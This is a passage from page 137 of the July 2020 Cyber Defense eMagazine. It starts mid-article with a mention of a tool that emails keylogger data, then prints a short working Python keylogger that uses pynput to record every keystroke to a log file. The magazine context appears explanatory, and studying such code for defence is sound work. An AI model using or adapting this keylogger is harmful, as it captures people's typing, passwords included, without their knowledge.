Page 137 - Cyber Defense eMagazine for July 2020
P. 137
with high-precision and also send keylogger data to the user’s email. An example code snippet of the
keylogger is as below:
from pynput.keyboard import Listener
def logger(key):
letter = str(key)
letter = letter.replace("'", "")
if letter == 'Key.space':
letter = ' '
if letter == 'Key.shift_r':
letter = ''
if letter == "Key.ctrl_l":
letter = ""
if letter == "Key.enter":
letter = "\n"
with open("log.txt", 'a') as f:
f.write(letter)
with Listener(on_press=logger) as l:
l.join()
Cyber Defense eMagazine –July 2020 Edition 137
Copyright © 2020, Cyber Defense Magazine. All rights reserved worldwide.